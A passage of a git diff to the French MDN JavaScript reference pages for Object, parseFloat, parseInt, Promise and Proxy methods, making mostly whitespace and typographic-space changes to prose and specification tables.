exemples suivants stockent des objets {{jsxref("Boolean")}} dans `o` : +Les exemples suivants stockent des objets {{jsxref("Boolean")}} dans `o` : ```js // Équivalent à : o = new Boolean(true); @@ -143,7 +143,7 @@ var o = new Object(Boolean()); | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée par JavaScript 1.0. | | {{SpecName('ES5.1', '#sec-15.2', 'Object')}} | {{Spec2('ES5.1')}} | | | {{SpecName('ES6', '#sec-object-objects', 'Object')}} | {{Spec2('ES6')}} | Ajout de Object.assign, Object.getOwnPropertySymbols, Object.setPrototypeOf, Object.is | -| {{SpecName('ESDraft', '#sec-object-objects', 'Object')}} | {{Spec2('ESDraft')}} | Ajout de Object.entries, de Object.values et de Object.getOwnPropertyDescriptors. | +| {{SpecName('ESDraft', '#sec-object-objects', 'Object')}} | {{Spec2('ESDraft')}} | Ajout de Object.entries, de Object.values et de Object.getOwnPropertyDescriptors. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/is/index.md b/files/fr/web/javascript/reference/global_objects/object/is/index.md index 91b7520c6a..df6daab121 100644 --- a/files/fr/web/javascript/reference/global_objects/object/is/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/is/index.md @@ -43,7 +43,7 @@ Un booléen indiquant si les arguments ont la même valeur. - sont toutes les deux égales à `+0` - sont toutes les deux égales à `-0` - - sont toutes les deux égales à {{jsxref("NaN")}} + - sont toutes les deux égales à {{jsxref("NaN")}} - sont non-nulles, ne sont pas `NaN` et ont toutes les deux la même valeur Attention, ce n'est pas la même égalité qu'avec l'opérateur {{jsxref("Opérateurs/Opérateurs_de_comparaison", "==", "#.C3.89galit.C3.A9_simple_(.3D.3D)")}}. L'opérateur == applique différentes conversions à chaque opérande (si ils ne sont pas du même type) avant de tester l'égalité (d'où le comportement `"" == false` qui donne `true`), `Object.is` ne convertit aucune des deux valeurs. @@ -94,7 +94,7 @@ if (!Object.is) { | Spécification | État | Commentaires | | ------------------------------------------------------------------------ | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-object.is', 'Object.is')}} | {{Spec2('ES2015')}} | Définition initiale | -| {{SpecName('ESDraft', '#sec-object.is', 'Object.is')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-object.is', 'Object.is')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/isextensible/index.md b/files/fr/web/javascript/reference/global_objects/object/isextensible/index.md index 91f2900829..4ff34d173c 100644 --- a/files/fr/web/javascript/reference/global_objects/object/isextensible/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/isextensible/index.md @@ -71,8 +71,8 @@ Object.isExtensible(1); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.2.3.13', 'Object.isExtensible')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.5. | -| {{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.isextensible', 'Object.isExtensible')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.isextensible', 'Object.isExtensible')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.isextensible', 'Object.isExtensible')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/isfrozen/index.md b/files/fr/web/javascript/reference/global_objects/object/isfrozen/index.md index f99db9b02a..612441bb7e 100644 --- a/files/fr/web/javascript/reference/global_objects/object/isfrozen/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/isfrozen/index.md @@ -135,8 +135,8 @@ Object.isFrozen(1); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------ | | {{SpecName('ES5.1', '#sec-15.2.3.12', 'Object.isFrozen')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée par JavaScript 1.8.5. | -| {{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.isfrozen', 'Object.isFrozen')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.isfrozen', 'Object.isFrozen')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.isfrozen', 'Object.isFrozen')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/isprototypeof/index.md b/files/fr/web/javascript/reference/global_objects/object/isprototypeof/index.md index 0ddea97552..d48ac7ff00 100644 --- a/files/fr/web/javascript/reference/global_objects/object/isprototypeof/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/isprototypeof/index.md @@ -13,7 +13,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Object/isPrototypeOf --- {{JSRef}} -La méthode **`isPrototypeOf()`** permet de tester si un objet existe dans la chaîne de prototypes d'un autre objet. +La méthode **`isPrototypeOf()`** permet de tester si un objet existe dans la chaîne de prototypes d'un autre objet. {{EmbedInteractiveExample("pages/js/object-prototype-isprototypeof.html")}} @@ -26,16 +26,16 @@ La méthode **`isPrototypeOf()`** permet de tester si un objet existe dans la ### Paramètres - `objet` - - : L'objet dont la chaîne de prototypes sera parcourue. + - : L'objet dont la chaîne de prototypes sera parcourue. ### Valeur de retour -Un {{jsxref("Boolean")}} indiquant si l'objet appelant se trouve dans sa chaîne de prototypes de l'objet indiqué. +Un {{jsxref("Boolean")}} indiquant si l'objet appelant se trouve dans sa chaîne de prototypes de l'objet indiqué. ### Erreurs déclenchées - {{jsxref("TypeError")}} - - : Une exception {{jsxref("TypeError")}} est déclenchée si `prototypeObj` est `undefined` ou `null`. + - : Une exception {{jsxref("TypeError")}} est déclenchée si `prototypeObj` est `undefined` ou `null`. ## Description @@ -43,7 +43,7 @@ La méthode isPrototypeOf () vous permet de vérifier si un objet existe ou non ## Exemples -Cet exemple montre que `Bidule.prototype`, `Truc.prototype`, `Machin.prototype` et `Object.prototype` font bien partie de la chaîne de prototype pour l'objet `bidule` : +Cet exemple montre que `Bidule.prototype`, `Truc.prototype`, `Machin.prototype` et `Object.prototype` font bien partie de la chaîne de prototype pour l'objet `bidule` : ```js function Machin() {} @@ -61,9 +61,9 @@ console.log(Machin.prototype.isPrototypeOf(bidule)); // true console.log(Object.prototype.isPrototypeOf(bidule)); // true ``` -La méthode `isPrototypeOf()`, avec l'opérateur {{jsxref("Operators/instanceof", "instanceof")}} en particulier, s'avère particulièrement utile si vous avez du code qui ne peut fonctionner que lorsqu'il traite des objets descendant d'une chaîne de prototypes donnée, par ex., pour garantir que certaines méthodes ou propriétés seront présentes dans cet objet. +La méthode `isPrototypeOf()`, avec l'opérateur {{jsxref("Operators/instanceof", "instanceof")}} en particulier, s'avère particulièrement utile si vous avez du code qui ne peut fonctionner que lorsqu'il traite des objets descendant d'une chaîne de prototypes donnée, par ex., pour garantir que certaines méthodes ou propriétés seront présentes dans cet objet. -Par exemple, vérifier que `bidule` descend bien de `Machin.prototype` : +Par exemple, vérifier que `bidule` descend bien de `Machin.prototype` : ```js if (Toto.prototype.isPrototypeOf(bidule)) { @@ -76,9 +76,9 @@ if (Toto.prototype.isPrototypeOf(bidule)) { | Spécification | Statut | Commentaire | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.2.4.5', 'Object.prototype.hasOwnProperty')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.prototype.hasownproperty', 'Object.prototype.hasOwnProperty')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/issealed/index.md b/files/fr/web/javascript/reference/global_objects/object/issealed/index.md index 7ad542cbd6..5160bc9896 100644 --- a/files/fr/web/javascript/reference/global_objects/object/issealed/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/issealed/index.md @@ -96,8 +96,8 @@ Object.isSealed(1); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.2.3.11', 'Object.isSealed')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.5. | -| {{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.issealed', 'Object.isSealed')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.issealed', 'Object.isSealed')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/preventextensions/index.md b/files/fr/web/javascript/reference/global_objects/object/preventextensions/index.md index 94dd2d20b8..c6573f4b91 100644 --- a/files/fr/web/javascript/reference/global_objects/object/preventextensions/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/preventextensions/index.md @@ -98,8 +98,8 @@ Object.preventExtensions(1); | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------------------- | | {{SpecName('ES5.1', '#sec-15.2.3.10', 'Object.preventExtensions')}} | {{Spec2('ES5.1')}} | Définition initiale. Implémentée avec JavaScript 1.8.5. | -| {{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.preventextensions', 'Object.preventExtensions')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.preventextensions', 'Object.preventExtensions')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.preventextensions', 'Object.preventExtensions')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/propertyisenumerable/index.md b/files/fr/web/javascript/reference/global_objects/object/propertyisenumerable/index.md index bd52c6c0ab..981d4e18ba 100644 --- a/files/fr/web/javascript/reference/global_objects/object/propertyisenumerable/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/propertyisenumerable/index.md @@ -105,9 +105,9 @@ o.propertyIsEnumerable('premièreMéthode'); // renvoie false | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.2.4.7', 'Object.prototype.propertyIsEnumerable')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.prototype.propertyisenumerable', 'Object.prototype.propertyIsEnumerable')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/setprototypeof/index.md b/files/fr/web/javascript/reference/global_objects/object/setprototypeof/index.md index 1175acddab..a12e55ff2a 100644 --- a/files/fr/web/javascript/reference/global_objects/object/setprototypeof/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/setprototypeof/index.md @@ -33,7 +33,7 @@ L'objet sur lequel on a défini le prototype. ## Description -Cette méthode renvoie une exception {{jsxref("TypeError")}} si l'objet dont on souhaite modifier le `[[Prototype]]` est non-extensible selon {{jsxref("Object.isExtensible")}}. Cette méthode ne fait rien si le paramètre prototype n'est ni un objet ni {{jsxref("null")}} (par exemple : un nombre, une chaîne, un booléen ou {{jsxref("undefined")}}). Dans les autres cas, cette méthode substitue le `[[Prototype]]` de `obj` avec un nouvel objet. +Cette méthode renvoie une exception {{jsxref("TypeError")}} si l'objet dont on souhaite modifier le `[[Prototype]]` est non-extensible selon {{jsxref("Object.isExtensible")}}. Cette méthode ne fait rien si le paramètre prototype n'est ni un objet ni {{jsxref("null")}} (par exemple : un nombre, une chaîne, un booléen ou {{jsxref("undefined")}}). Dans les autres cas, cette méthode substitue le `[[Prototype]]` de `obj` avec un nouvel objet. `Object.setPrototypeOf()` fait partie de la spécification ECMAScript 2015. L'utilisation de cette méthode est considérée comme la façon correcte pour modifier le prototype d'un objet (contrairement à la propriété {{jsxref("Object/proto","Object.prototype.__proto__")}} plus controversée). @@ -178,7 +178,7 @@ george(); // "Salut !!" | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------- | ---------------------------- | ------------------- | | {{SpecName('ES2015', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}} | {{Spec2('ES2015')}} | Initial definition. | -| {{SpecName('ESDraft', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-object.setprototypeof', 'Object.setPrototypeOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/tolocalestring/index.md b/files/fr/web/javascript/reference/global_objects/object/tolocalestring/index.md index c0dcdd5f34..73d4597a42 100644 --- a/files/fr/web/javascript/reference/global_objects/object/tolocalestring/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/tolocalestring/index.md @@ -11,7 +11,7 @@ original_slug: Web/JavaScript/Reference/Objets_globaux/Object/toLocaleString --- {{JSRef}} -La méthode **`toLocaleString()`** renvoie une chaine de caractères représentant l'objet. Cette méthode est destinée à être surchargée par les objets dérivés à des fins spécifiques pour prendre en compte les locales. +La méthode **`toLocaleString()`** renvoie une chaine de caractères représentant l'objet. Cette méthode est destinée à être surchargée par les objets dérivés à des fins spécifiques pour prendre en compte les locales. {{EmbedInteractiveExample("pages/js/object-prototype-tolocalestring.html")}} @@ -25,9 +25,9 @@ Une chaîne de caractères qui représente l'objet en tenant compte de la locale ## Description -La méthode `toLocaleString` renvoie le résultat de l'appel à la méthode {{jsxref("Object.toString", "toString()")}}. +La méthode `toLocaleString` renvoie le résultat de l'appel à la méthode {{jsxref("Object.toString", "toString()")}}. -Cette fonction est destinée à fournir aux objets une méthode générique `toLocaleString`, même si tous ne peuvent l'utiliser. Voir la liste ci-dessous. +Cette fonction est destinée à fournir aux objets une méthode générique `toLocaleString`, même si tous ne peuvent l'utiliser. Voir la liste ci-dessous. ### Objets surchargeant la méthode toLocaleString @@ -40,9 +40,9 @@ Cette fonction est destinée à fournir aux objets une méthode générique `to | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | | {{SpecName('ES3')}} | {{Spec2('ES3')}} | Définition initiale. | -| {{SpecName('ES5.1', '#sec-15.2.4.3', 'Object.prototype.toLocaleString')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.2.4.3', 'Object.prototype.toLocaleString')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.prototype.tolocalestring', 'Object.prototype.toLocaleString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/tostring/index.md b/files/fr/web/javascript/reference/global_objects/object/tostring/index.md index e99db8ca3d..72d81ab749 100644 --- a/files/fr/web/javascript/reference/global_objects/object/tostring/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/tostring/index.md @@ -97,8 +97,8 @@ toString.call(null); // [object Null] | -------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.0. | | {{SpecName('ES5.1', '#sec-15.2.4.2', 'Object.prototype.toString')}} | {{Spec2('ES5.1')}} | Lorsque la méthode est appelée sur {{jsxref("null")}}, elle renvoie `[object Null]`, et sur {{jsxref( "undefined")}} elle renvoie `[object Undefined]` | -| {{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.prototype.tostring', 'Object.prototype.toString')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES6', '#sec-object.prototype.tostring', 'Object.prototype.toString')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.prototype.tostring', 'Object.prototype.toString')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/valueof/index.md b/files/fr/web/javascript/reference/global_objects/object/valueof/index.md index d00e0c0f83..bcdf81bed0 100644 --- a/files/fr/web/javascript/reference/global_objects/object/valueof/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/valueof/index.md @@ -26,9 +26,9 @@ La valeur primitive de l'objet appelant. ## Description -JavaScript appelle la méthode `valueOf` pour convertir un objet en une valeur primitive. Il est rarement nécessaire d'appeler soi-même la méthode `valueOf` ; JavaScript l'invoque automatiquement lorsqu'il rencontre un objet alors qu'il attend une valeur primitive. +JavaScript appelle la méthode `valueOf` pour convertir un objet en une valeur primitive. Il est rarement nécessaire d'appeler soi-même la méthode `valueOf` ; JavaScript l'invoque automatiquement lorsqu'il rencontre un objet alors qu'il attend une valeur primitive. -Par défaut, la méthode `valueOf` est héritée par tout objet descendant d'{{jsxref("Object")}}. Tous les objets globaux natifs redéfinissent cette méthode pour renvoyer une valeur appropriée. Si un objet n'a pas de valeur primitive, `valueOf` renvoie l'objet lui-même, ce qui sera affiché comme : +Par défaut, la méthode `valueOf` est héritée par tout objet descendant d'{{jsxref("Object")}}. Tous les objets globaux natifs redéfinissent cette méthode pour renvoyer une valeur appropriée. Si un objet n'a pas de valeur primitive, `valueOf` renvoie l'objet lui-même, ce qui sera affiché comme : ```js [object Object] @@ -78,9 +78,9 @@ console.log(monObj + 3); // 7 car l'opération a implicitement utilisé valueOf | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------------- | | {{SpecName('ES1')}} | {{Spec2('ES1')}} | Définition initiale. Implémentée avec JavaScript 1.1. | -| {{SpecName('ES5.1', '#sec-15.2.4.4', 'Object.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | -| {{SpecName('ES6', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}} | {{Spec2('ES6')}} | | -| {{SpecName('ESDraft', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ES5.1', '#sec-15.2.4.4', 'Object.prototype.valueOf')}} | {{Spec2('ES5.1')}} | | +| {{SpecName('ES6', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}} | {{Spec2('ES6')}} | | +| {{SpecName('ESDraft', '#sec-object.prototype.valueof', 'Object.prototype.valueOf')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/object/values/index.md b/files/fr/web/javascript/reference/global_objects/object/values/index.md index adb87b914d..ddc3a492c2 100644 --- a/files/fr/web/javascript/reference/global_objects/object/values/index.md +++ b/files/fr/web/javascript/reference/global_objects/object/values/index.md @@ -69,7 +69,7 @@ Afin d'ajouter le support pour `Object.values` dans des environnements plus anci | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | -| {{SpecName('ESDraft', '#sec-object.values', 'Object.values')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-object.values', 'Object.values')}} | {{Spec2('ESDraft')}} | | | {{SpecName('ES8', '#sec-object.values', 'Object.values')}} | {{Spec2('ES8')}} | Définition initiale. | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/parsefloat/index.md b/files/fr/web/javascript/reference/global_objects/parsefloat/index.md index f7bf7406e6..e304fe735b 100644 --- a/files/fr/web/javascript/reference/global_objects/parsefloat/index.md +++ b/files/fr/web/javascript/reference/global_objects/parsefloat/index.md @@ -28,7 +28,7 @@ Un nombre flottant obtenu à partir de l'analyse de la chaîne de caractères. S ## Description -`parseFloat` est une fonction non associée à un objet, disponible au plus haut niveau de l'environnement JavaScript. +`parseFloat` est une fonction non associée à un objet, disponible au plus haut niveau de l'environnement JavaScript. `parseFloat` analyse l'argument fourni sous la forme d'une chaîne de caractères et renvoie un nombre flottant correspondant. L'analyse de la chaîne s'arrête dès qu'un caractère qui n'est pas +,-, un chiffre, un point ou un exposant. Ce caractère, ainsi que les suivants, seront ignorés. Les blancs en début et en fin de chaîne sont autorisés. @@ -58,7 +58,7 @@ parseFloat("3.14d'autres caractères non numériques"); var titi = Object.create(null); titi.valueOf = function () { return "3.14"; }; -parseFloat(titi); +parseFloat(titi); ``` ### Utiliser `parseFloat()` pour renvoyer `NaN` diff --git a/files/fr/web/javascript/reference/global_objects/parseint/index.md b/files/fr/web/javascript/reference/global_objects/parseint/index.md index 747f5a87bc..2d567c871c 100644 --- a/files/fr/web/javascript/reference/global_objects/parseint/index.md +++ b/files/fr/web/javascript/reference/global_objects/parseint/index.md @@ -104,7 +104,7 @@ parseInt("4e2", 10); parseInt("4.7", 10); ``` -L'exemple suivant renvoie **`224`** : +L'exemple suivant renvoie **`224`** : ```js parseInt("0e0", 16); diff --git a/files/fr/web/javascript/reference/global_objects/promise/all/index.md b/files/fr/web/javascript/reference/global_objects/promise/all/index.md index 9db4fac33d..bfefa42d75 100644 --- a/files/fr/web/javascript/reference/global_objects/promise/all/index.md +++ b/files/fr/web/javascript/reference/global_objects/promise/all/index.md @@ -192,7 +192,7 @@ setTimeout(function() { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------- | ---------------------------- | ------------------------------------------ | | {{SpecName('ES2015', '#sec-promise.all', 'Promise.all')}} | {{Spec2('ES2015')}} | Définition initiale dans un standard ECMA. | -| {{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-promise.all', 'Promise.all')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/promise/reject/index.md b/files/fr/web/javascript/reference/global_objects/promise/reject/index.md index 884d2baec5..bf16163abf 100644 --- a/files/fr/web/javascript/reference/global_objects/promise/reject/index.md +++ b/files/fr/web/javascript/reference/global_objects/promise/reject/index.md @@ -48,7 +48,7 @@ Promise.reject(new Error("échec")).then(function() { | Spécification | État | Commentaires | | ------------------------------------------------------------------------------------ | ---------------------------- | ----------------------------------------------- | | {{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-promise.reject', 'Promise.reject')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/promise/resolve/index.md b/files/fr/web/javascript/reference/global_objects/promise/resolve/index.md index 9bf6a9dc3f..0f45080940 100644 --- a/files/fr/web/javascript/reference/global_objects/promise/resolve/index.md +++ b/files/fr/web/javascript/reference/global_objects/promise/resolve/index.md @@ -124,7 +124,7 @@ p3.then(function(v) { | Spécification | État | Commentaires | | ---------------------------------------------------------------------------------------- | ---------------------------- | ----------------------------------------------- | | {{SpecName('ES2015', '#sec-promise.reject', 'Promise.reject')}} | {{Spec2('ES2015')}} | Définition initiale au sein d'un standard ECMA. | -| {{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-promise.resolve', 'Promise.resolve')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/promise/then/index.md b/files/fr/web/javascript/reference/global_objects/promise/then/index.md index 9720700136..52cade1536 100644 --- a/files/fr/web/javascript/reference/global_objects/promise/then/index.md +++ b/files/fr/web/javascript/reference/global_objects/promise/then/index.md @@ -144,7 +144,7 @@ Promise.resolve() }); ``` -Dans tous les autres cas, un promesse de résolution est renvoyée. Dans l'exemple qui suit, le premier `then()` renvoie `42` même si la promesse précédente a été rompue : +Dans tous les autres cas, un promesse de résolution est renvoyée. Dans l'exemple qui suit, le premier `then()` renvoie `42` même si la promesse précédente a été rompue : ```js Promise.reject() diff --git a/files/fr/web/javascript/reference/global_objects/proxy/index.md b/files/fr/web/javascript/reference/global_objects/proxy/index.md index b2cbf0db65..82d62e7ad2 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/index.md @@ -40,7 +40,7 @@ L'objet **Proxy** est utilisé afin de définir un comportement sur mesure pour ## Méthodes pour le gestionnaire -L'objet utilisé comme gestionnaire regroupe les différentes fonctions « trappes » pour le `Proxy`. +L'objet utilisé comme gestionnaire regroupe les différentes fonctions « trappes » pour le `Proxy`. {{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy/handler', 'Méthodes') }} @@ -67,7 +67,7 @@ console.log(p.a, p.b); // 1, undefined console.log('c' in p, p.c); // false, 37 ``` -### Proxy « invisible » +### Proxy « invisible » Dans cet exemple, le proxy transfère toutes les opérations qui sont appliquées à l'objet cible. @@ -305,7 +305,7 @@ console.log(produits.nombre); // 3 ### Un exemple avec toutes les trappes -Pour illustrer l'ensemble des trappes, on tente de « proxifier » un objet non natif : l'objet global `docCookies` créé grâce à [cet exemple](/fr/docs/Web/API/Document/cookie/Simple_document.cookie_framework). +Pour illustrer l'ensemble des trappes, on tente de « proxifier » un objet non natif : l'objet global `docCookies` créé grâce à [cet exemple](/fr/docs/Web/API/Document/cookie/Simple_document.cookie_framework). ```js /* diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/apply/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/apply/index.md index 804405fffd..047d555aa3 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/apply/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/apply/index.md @@ -79,7 +79,7 @@ console.log(p(1, 2, 3)); // "called: 1, 2, 3" | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-call-thisargument-argumentslist', '[[Call]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git a/files/fr/web/javascript/reference/global_objects/proxy/proxy/construct/index.md b/files/fr/web/javascript/reference/global_objects/proxy/proxy/construct/index.md index 289518a7e9..951a557851 100644 --- a/files/fr/web/javascript/reference/global_objects/proxy/proxy/construct/index.md +++ b/files/fr/web/javascript/reference/global_objects/proxy/proxy/construct/index.md @@ -27,7 +27,7 @@ var p = new Proxy(cible, { ### Paramètres -Les paramètres suivants sont passés à la méthode `construct`. `this` est ici lié au gestionnaire (_handler_). +Les paramètres suivants sont passés à la méthode `construct`. `this` est ici lié au gestionnaire (_handler_). - `cible` - : L'objet cible. @@ -102,7 +102,7 @@ new p(); // TypeError: p is not a constructor | Spécification | État | Commentaires | | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------- | -------------------- | | {{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}} | {{Spec2('ES2015')}} | Définition initiale. | -| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}} | {{Spec2('ESDraft')}} | | +| {{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-construct-argumentslist-newtarget', '[[Construct]]')}} | {{Spec2('ESDraft')}} | | ## Compatibilité des navigateurs diff --git 